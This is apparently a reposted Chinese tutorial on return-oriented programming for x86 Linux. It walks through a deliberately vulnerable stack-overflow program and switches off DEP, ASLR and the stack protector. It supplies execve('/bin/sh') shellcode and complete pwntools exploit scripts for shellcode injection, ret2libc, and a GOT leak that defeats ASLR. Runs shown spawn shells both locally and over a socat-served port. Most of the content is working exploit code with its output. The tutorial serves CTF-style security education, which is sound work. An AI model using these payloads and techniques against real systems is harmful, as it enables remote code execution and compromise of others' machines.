1. 程式人生 > >一步一步學習ROP x86Linux

一步一步學習ROP x86Linux

0x00 序

ROP的全稱為Return-oriented programming(返回導向程式設計),這是一種高階的記憶體攻擊技術可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和程式碼簽名等)。雖然現在大家都在用64位的作業系統,但是想要紮實的學好ROP還是得從基礎的x86系統開始,但看官請不要著急,在隨後的教程中我們還會帶來linux_x64以及android (arm)方面的ROP利用方法,歡迎大家繼續學習。

小編備註:文中涉及程式碼可在文章最後的github連結找到。

0x01 Control Flow Hijack 程式流劫持

比較常見的程式流劫持就是棧溢位,格式化字串攻擊和堆溢位了。通過程式流劫持,攻擊者可以控制PC指標從而執行目的碼。為了應對這種攻擊,系統防禦者也提出了各種防禦方法,最常見的方法有DEP(堆疊不可執行),ASLR(記憶體地址隨機化),Stack Protector(棧保護)等。但是如果上來就部署全部的防禦,初學者可能會覺得無從下手,所以我們先從最簡單的沒有任何保護的程式開始,隨後再一步步增加各種防禦措施,接著再學習繞過的方法,循序漸進。

首先來看這個有明顯緩衝區溢位的程式:

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

這裡我們用

#bash
gcc -fno-stack-protector -z execstack -o level1 level1.c

這個命令編譯程式。-fno-stack-protector-z execstack這兩個引數會分別關掉DEP和Stack Protector。同時我們在shell中執行:

#!bash
sudo -s 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

這幾個指令。執行完後我們就關掉整個linux系統的ASLR保護。

接下來我們開始對目標程式進行分析。首先我們先來確定溢位點的位置,這裡我推薦使用pattern.py這個指令碼來進行計算。我們使用如下命令:

#!bash
python pattern.py create 150 

來生成一串測試用的150個位元組的字串:

#!bash
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

隨後我們使用gdb ./level1除錯程式。

#!bash
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level1 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()

我們可以得到記憶體出錯的地址為0x37654136。隨後我們使用命令:

#!bash
python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

就可以非常容易的計算出PC返回值的覆蓋點為140個位元組。我們只要構造一個”A”*140+ret字串,就可以讓pc執行ret地址上的程式碼了。

接下來我們需要一段shellcode,可以用msf生成,或者自己反編譯一下。

#!c
# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

這裡我們使用一段最簡單的執行execve ("/bin/sh")命令的語句作為shellcode。

溢位點有了,shellcode有了,下一步就是控制PC跳轉到shellcode的地址上:

[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|

對初學者來說這個shellcode地址的位置其實是一個坑。因為正常的思維是使用gdb除錯目標程式,然後檢視記憶體來確定shellcode的位置。但當你真的執行exp的時候你會發現shellcode壓根就不在這個地址上!這是為什麼呢?原因是gdb的除錯環境會影響buf在記憶體中的位置,雖然我們關閉了ASLR,但這隻能保證buf的地址在gdb的除錯環境中不變,但當我們直接執行./level1的時候,buf的位置會固定在別的地址上。怎麼解決這個問題呢?

最簡單的方法就是開啟core dump這個功能。

#!bash
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

開啟之後,當出現記憶體錯誤的時候,系統會生成一個core dump檔案在tmp目錄下。然後我們再用gdb檢視這個core檔案就可以獲取到buf真正的地址了。

#!bash
$./level1 
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

$ gdb level1 /tmp/core.1433844471 
Core was generated by `./level1'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()

(gdb) x/10s $esp-144
0xbffff290:  "ABCD", 'A' <repeats 153 times>, "\n\374\267`\204\004\b"
0xbffff335:  ""

因為溢位點是140個位元組,再加上4個位元組的ret地址,我們可以計算出buffer的地址為$esp-144。通過gdb的命令 “x/10s $esp-144”,我們可以得到buf的地址為0xbffff290。

OK,現在溢位點,shellcode和返回值地址都有了,可以開始寫exp了。寫exp的話,我強烈推薦pwntools這個工具,因為它可以非常方便的做到本地除錯和遠端攻擊的轉換。本地測試成功後只需要簡單的修改一條語句就可以馬上進行遠端攻擊。

#!bash
p = process('./level1')  #本地測試
p = remote('127.0.0.1',10001)  #遠端攻擊

最終本地測試程式碼如下:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbffff290

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#對ret進行編碼,將地址轉換成記憶體中的二進位制儲存形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #傳送payload

p.interactive()  #開啟互動shell

執行exp:

#!bash
$ python exp1.py 
[+] Started program './level1'
[*] Switching to interactive mode
$ whoami
mzheng

接下來我們把這個目標程式作為一個服務繫結到伺服器的某個埠上,這裡我們可以使用socat這個工具來完成,命令如下:

#!bash
socat TCP4-LISTEN:10001,fork EXEC:./level1

隨後這個程式的IO就被重定向到10001這個埠上了,並且可以使用 nc 127.0.0.1 10001來訪問我們的目標程式服務了。

因為現在目標程式是跑在socat的環境中,exp指令碼除了要把p = process('./level1')換成p = remote('127.0.0.1',10001) 之外,ret的地址還會發生改變。解決方法還是採用生成core dump的方案,然後用gdb除錯core檔案獲取返回地址。然後我們就可以使用exp進行遠端溢位啦!

#!bash
python exp1.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ id
uid=1000(mzheng) gid=1000(mzheng) groups=1000(mzheng),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

0x02 Ret2libc – Bypass DEP 通過ret2libc繞過DEP防護

現在我們把DEP開啟,依然關閉stack protector和ASLR。編譯方法如下:

#!bash
gcc -fno-stack-protector -o level2 level2.c

這時候我們如果使用level1的exp來進行測試的話,系統會拒絕執行我們的shellcode。如果你通過sudo cat /proc/[pid]/maps檢視,你會發現level1的stack是rwx的,但是level2的stack卻是rw的。

level1:   bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
level2:   bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

那麼如何執行shellcode呢?我們知道level2呼叫了libc.so,並且libc.so裡儲存了大量可利用的函式,我們如果可以讓程式執行system(“/bin/sh”)的話,也可以獲取到shell。既然思路有了,那麼接下來的問題就是如何得到system()這個函式的地址以及”/bin/sh”這個字串的地址。

如果關掉了ASLR的話,system()函式在記憶體中的地址是不會變化的,並且libc.so中也包含”/bin/sh”這個字串,並且這個字串的地址也是固定的。那麼接下來我們就來找一下這個函式的地址。這時候我們可以使用gdb進行除錯。然後通過print和find命令來查詢system和”/bin/sh”字串的地址。

#!bash
$ gdb ./level2
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
….
(gdb) break main
Breakpoint 1 at 0x8048430
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level2 

Breakpoint 1, 0x08048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e5f460 <system>
(gdb) print __libc_start_main
$2 = {<text variable, no debug info>} 0xb7e393f0 <__libc_start_main>
(gdb) find 0xb7e393f0, +2200000, "/bin/sh"
0xb7f81ff8
warning: Unable to access target memory at 0xb7fc8500, halting search.
1 pattern found.
(gdb) x/s 0xb7f81ff8
0xb7f81ff8:  "/bin/sh"

我們首先在main函式上下一個斷點,然後執行程式,這樣的話程式會載入libc.so到記憶體中,然後我們就可以通過”print system”這個命令來獲取system函式在記憶體中的位置,隨後我們可以通過” print __libc_start_main”這個命令來獲取libc.so在記憶體中的起始位置,接下來我們可以通過find命令來查詢”/bin/sh”這個字串。這樣我們就得到了system的地址0xb7e5f460以及"/bin/sh"的地址0xb7f81ff8。下面我們開始寫exp:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

要注意的是system()後面跟的是執行完system函式後要返回地址,接下來才是”/bin/sh”字串的地址。因為我們執行完後也不打算幹別的什麼事,所以我們就隨便寫了一個0xdeadbeef作為返回地址。下面我們測試一下exp:

#!python
$ python exp2.py 
[+] Started program './level2'
[*] Switching to interactive mode
$ whoami
mzheng

OK。測試成功。

0x03 ROP– Bypass DEP and ASLR 通過ROP繞過DEP和ASLR防護

接下來我們開啟ASLR保護。

#!bash
sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space

現在我們再回頭測試一下level2的exp,發現已經不好用了。

#!bash
$python exp2.py 
[+] Started program './level2'
[*] Switching to interactive mode
[*] Program './level2' stopped with exit code -11
[*] Got EOF while reading in interactive

如果你通過sudo cat /proc/[pid]/maps或者ldd檢視,你會發現level2的libc.so地址每次都是變化的。

#!bash
cat /proc/[第1次執行的level2的pid]/maps
b759c000-b7740000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7740000-b7741000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7741000-b7743000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7743000-b7744000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

cat /proc/[第2次執行的level2的pid]/maps
b7546000-b76ea000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76ea000-b76eb000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76eb000-b76ed000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76ed000-b76ee000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

cat /proc/[第3次執行的level2的pid]/maps
b7560000-b7704000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7704000-b7705000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7705000-b7707000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7707000-b7708000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

那麼如何解決地址隨機化的問題呢?思路是:我們需要先洩漏出libc.so某些函式在記憶體中的地址,然後再利用洩漏出的函式地址根據偏移量計算出system()函式和/bin/sh字串在記憶體中的地址,然後再執行我們的ret2libc的shellcode。既然棧,libc,heap的地址都是隨機的。我們怎麼才能洩露出libc.so的地址呢?方法還是有的,因為程式本身在記憶體中的地址並不是隨機的,如圖所示:

enter image description here

Linux記憶體隨機化分佈圖

所以我們只要把返回值設定到程式本身就可執行我們期望的指令了。首先我們利用objdump來檢視可以利用的plt函式和函式對應的got表:

#!bash
$ objdump -d -j .plt level2

Disassembly of section .plt:

08048310 <[email protected]>:
 8048310:   ff 25 00 a0 04 08       jmp    *0x804a000
 8048316:   68 00 00 00 00          push   $0x0
 804831b:   e9 e0 ff ff ff          jmp    8048300 <_init+0x30>

08048320 <[email protected]>:
 8048320:   ff 25 04 a0 04 08       jmp    *0x804a004
 8048326:   68 08 00 00 00          push   $0x8
 804832b:   e9 d0 ff ff ff          jmp    8048300 <_init+0x30>

08048330 <[email protected]>:
 8048330:   ff 25 08 a0 04 08       jmp    *0x804a008
 8048336:   68 10 00 00 00          push   $0x10
 804833b:   e9 c0 ff ff ff          jmp    8048300 <_init+0x30>

08048340 <[email protected]>:
 8048340:   ff 25 0c a0 04 08       jmp    *0x804a00c
 8048346:   68 18 00 00 00          push   $0x18
 804834b:   e9 b0 ff ff ff          jmp    8048300 <_init+0x30>

$ objdump -R level2
//got表
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   read
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main
0804a00c R_386_JUMP_SLOT   write

我們發現除了程式本身的實現的函式之外,我們還可以使用[email protected]()[email protected]()函式。但因為程式本身並沒有呼叫system()函式,所以我們並不能直接呼叫system()來獲取shell。但其實我們有[email protected]()函式就夠了,因為我們可以通過[email protected] ()函式把write()函式在記憶體中的地址也就是write.got給打印出來。既然write()函式實現是在libc.so當中,那我們呼叫的[email protected]()函式為什麼也能實現write()功能呢? 這是因為linux採用了延時繫結技術,當我們呼叫[email protected]()的時候,系統會將真正的write()函式地址link到got表的write.got中,然後[email protected]()會根據write.got 跳轉到真正的write()函式上去。(如果還是搞不清楚的話,推薦閱讀《程式設計師的自我修養 - 連結、裝載與庫》這本書)

因為system()函式和write()在libc.so中的offset(相對地址)是不變的,所以如果我們得到了write()的地址並且擁有目標伺服器上的libc.so就可以計算出system()在記憶體中的地址了。然後我們再將pc指標return回vulnerable_function()函式,就可以進行ret2libc溢位攻擊,並且這一次我們知道了system()在記憶體中的地址,就可以呼叫system()函式來獲取我們的shell了。

使用ldd命令可以檢視目標程式呼叫的so庫。隨後我們把libc.so拷貝到當前目錄,因為我們的exp需要這個so檔案來計算相對地址:

#!bash
$ldd level2 
    linux-gate.so.1 =>  (0xb7781000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000)
    /lib/ld-linux.so.2 (0xb7782000)
$ cp /lib/i386-linux-gnu/libc.so.6 libc.so

最後exp如下:

#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

#p = process('./level2')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

接著我們使用socat把level2繫結到10003埠:

#!bash
socat TCP4-LISTEN:10003,fork EXEC:./level2

最後執行我們的exp:

#!bash
$python exp3.py 
[+] Opening connection to 127.0.0.1 on port 10003: Done
plt_write= 0x8048340
got_write= 0x804a00c
vulfun= 0x8048404

###sending payload1 ...###

###receving write() addr...###
write_addr=0xb76f64c0

###calculating system() addr and "/bin/sh" addr...###
system_addr= 0xb7656460
binsh_addr= 0xb7778ff8

###sending payload2 ...###
[*] Switching to interactive mode
$ whoami
mzheng

0x04 小結

本章簡單介紹了ROP攻擊的基本原理,由於篇幅原因,我們會在隨後的文章中會介紹更多的攻擊技巧:如何利用工具尋找gadgets,如何在不知道對方libc.so版本的情況下計算offset;如何繞過Stack Protector等。歡迎大家到時繼續學習。另外本文提到的所有原始碼和工具都可以從我的github下載:https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x05 參考文獻

  1. The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86)
  2. picoCTF 2013: https://github.com/picoCTF/2013-Problems
  3. Smashing The Stack For Fun And Profit: http://phrack.org/issues/49/14.html
  4. 程式設計師的自我修養
  5. ROP輕鬆談

相關推薦

學習ROP x86Linux

0x00 序 ROP的全稱為Return-oriented programming(返回導向程式設計),這是一種高階的記憶體攻擊技術可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和程式碼簽名等)。雖然現在大家都在用64位的作業系統,但是想要紮實的學好ROP還

關於蒸米的ROP之linux_x86的學習筆記

寫在開頭:level2沒有原始碼,所以第二個“Ret2libc – Bypass DEP 通過ret2libc繞過DEP防護”做不動……另外socat還沒學會用==,按照步驟輸入命令後一直沒反應,也不知道怎麼辦,所以後面的遠端攻擊也沒法進行……於是只做了第一個C

跟我學習hadoop(5)----hadoop Map/Reduce教程(2)

submit calc run submitjob des conf sam ner 打開 Map/Reduce用戶界面 本節為用戶採用框架要面對的各個環節提供了具體的描寫敘述,旨在與幫助用戶對實現、配置和調優進行具體的設置。然而,開發時候還是要相應著API進行

學習Vue(十

head move 就會 基本 參數 mode onclick set stat 本篇繼續學習vuex,還是以實例為主;我們以一步一步學Vue(四)中講述的例子為基礎,對其改造,基於vuex重構一遍,這是原始的代碼: todolist.js ; (functio

學習IdentityServer3 (13) 令牌

jwt poi 信息 定義 icu 客戶 不同 env res IdentityServer3中客戶端保護了授權資源,不難看出在IdentityServer3中,有這樣一個設置 AllowedScopes = new List<string>

學習IdentityServer4 (4) 處理特殊需求之-登錄等待頁面

友好 添加 href 空白頁 gpo nsf sha256 init 處理 用IdentityServer3的時候登錄如果采用Post方式大家會發現有中間有一個等待Submit空白頁面,界面不友好,現在我想把這個修改自定義的頁面Loading 在Identityserve

C# 異編程學習

apm 結果 mic public b- num row worker inf 異步 編程 可在 等待 某個 任務 完成時, 避免 線程 的 占用, 但要 想 正確地 實現 編程, 仍然 十分 傷腦筋。 . NET Framework 中, 有三種 不同 的 模型 來 簡化

學習spring】spring bean管理(上)

proto id屬性 table handle isp 基礎上 turn 聲明 設置方法 1. spring 工廠類 我們前邊的demo中用到的spring 工廠類是ClassPathXmlApplicationContext,從上圖可以看到他還有一個兄弟類FileSys

學習JNI

動態鏈接 下載 默認 .class 學習 什麽 jdk 產品 用戶 本文來自網易雲社區作者:孫有軍前言本篇的主要目的就是JNI開發入門,使大家對JNI開發流程有一個大致的了解,後續再進行深入學習。JNI不是Android特有的,JNI是Java Native Interfa

java學習知識點

一、資料結構與演算法基礎 說一下幾種常見的排序演算法和分別的複雜度。 用Java寫一個氣泡排序演算法 描述一下鏈式儲存結構。 如何遍歷一棵二叉樹? 倒排一個LinkedList。 用Java寫一個遞迴遍歷目錄下面的所有檔案。 二、Java基礎 介面

學習Android TV/盒子開發(三)

本文主要說的就是在TV開發中常遇到的問題總結 焦點丟失問題 在使用ListView、GridView及RecyclerView時有時會出現,這時需要在xml中,新增 android:descendantFocusability="afterDescendants" 1

學習Android TV/盒子開發(二)

TV、機頂盒開發除錯不能像手機一樣通過USB線連線除錯,可通過ADB連線除錯 連線電視 adb connect 10.74.84.199 1 2 連線後就可以開始開發除錯了! 斷開連線 // 斷開某個裝置 adb disconnect 10.74.84

學習Android TV/盒子開發(

寫在前面的話: 本人做了幾年的機頂盒和Android電視上的應用開發,寫這些文章只是為了讓初次接觸大屏開發的同學能夠快速上手。 TV端因為沒有觸控操作,只有遙控操作,所以焦點處理、控制以及按鍵監聽是其主要特點。 焦點處理 設定可獲取焦點 佈局中需要設定某個控制元件可獲取焦點需要加

利用 TensorFlow 構建一個多工學習模型

  介紹 為什麼是多工學習? 當你在思考新事物的時候,他們通常會利用他們以前的經驗和獲得的知識來加速現在的學習過程。當我們學習一門新語言的時候,尤其是相關的語言時,我們通常會使用我們一級學過的語言知識來加快這一門新語言的學習過程。這個過程也可以用另一種方式來理解 —— 學習一種

學習UML(3)-時序圖

1、時序圖簡介 時序圖(Sequence Diagram),又名序列圖、循序圖,是物件之間互動的UML互動圖,這些物件是按時間順序排列的。時序圖中建模元素主要有:角色(Actor)、物件(Object)、生命線(Lifeline)、控制焦點(Focus of c

學習大資料:Hadoop 生態系統與場景

Hadoop概要 到底是業務推動了技術的發展,還是技術推動了業務的發展,這個話題放在什麼時候都會惹來一些爭議。 隨著網際網路以及物聯網的蓬勃發展,我們進入了大資料時代。IDC預測,到2020年,全球會有44ZB的資料量。 傳統儲存和技術架構無法滿足需求 。在2013年出版

OK6410開發板學習之一實現精簡BootLoader(BL1部分)

眾所周知,ok6410開發板是一塊基於s3c6410晶片的開發板,板載資源豐富。s3c6410是三星電子生產的基於arm11核心的晶片。本文旨在總結一下bootloader操作步驟,用於以後複習、查詢。通過分析bootloader行業老大哥uboot程式碼,總結出要實現OK6410開發板的啟動引

Java程式設計師從笨鳥到菜鳥之(一百零七)學習webservice()開篇

      Webservice技術在web開發中算是一個比較常見技術。這個對於大多數的web開發者,別管是java程式設計師還是.NET程式設計師應該都不是很陌生。今天我就和大家一起來學習一下webservice的基本內容。此篇文章作為webservice的開篇,首先我們來看一下什麼是webservice。

Java程式設計師從笨鳥到菜鳥之(一百零八)學習webservice(二)webservice基本原理

為支援結構中的三種操作(publish、find和bind),SOA需要對服務進行一定的描述,這種服務描述(Service Description)應具有下面幾個重要特點:首先,它要宣告Service provider的語義特徵。Service broker使用語義特徵將Service provider進行分

學習 JQuery (三) 過濾選擇器:基本過濾選擇器 && 內容過濾選擇器 && 可見性過濾選擇器

過濾選擇器: 過濾選擇器主要是通過特定的過濾規則來篩選出所需的 DOM 元素, 該選擇器都以 “:” 開頭 按照不同的過濾規則, 過濾選擇器可以分為基本過濾, 內容過濾, 可見性過濾, 屬性過濾, 子元素過濾和表單物件屬性過濾選擇器. 一、基本過濾選擇器 改變第一個 di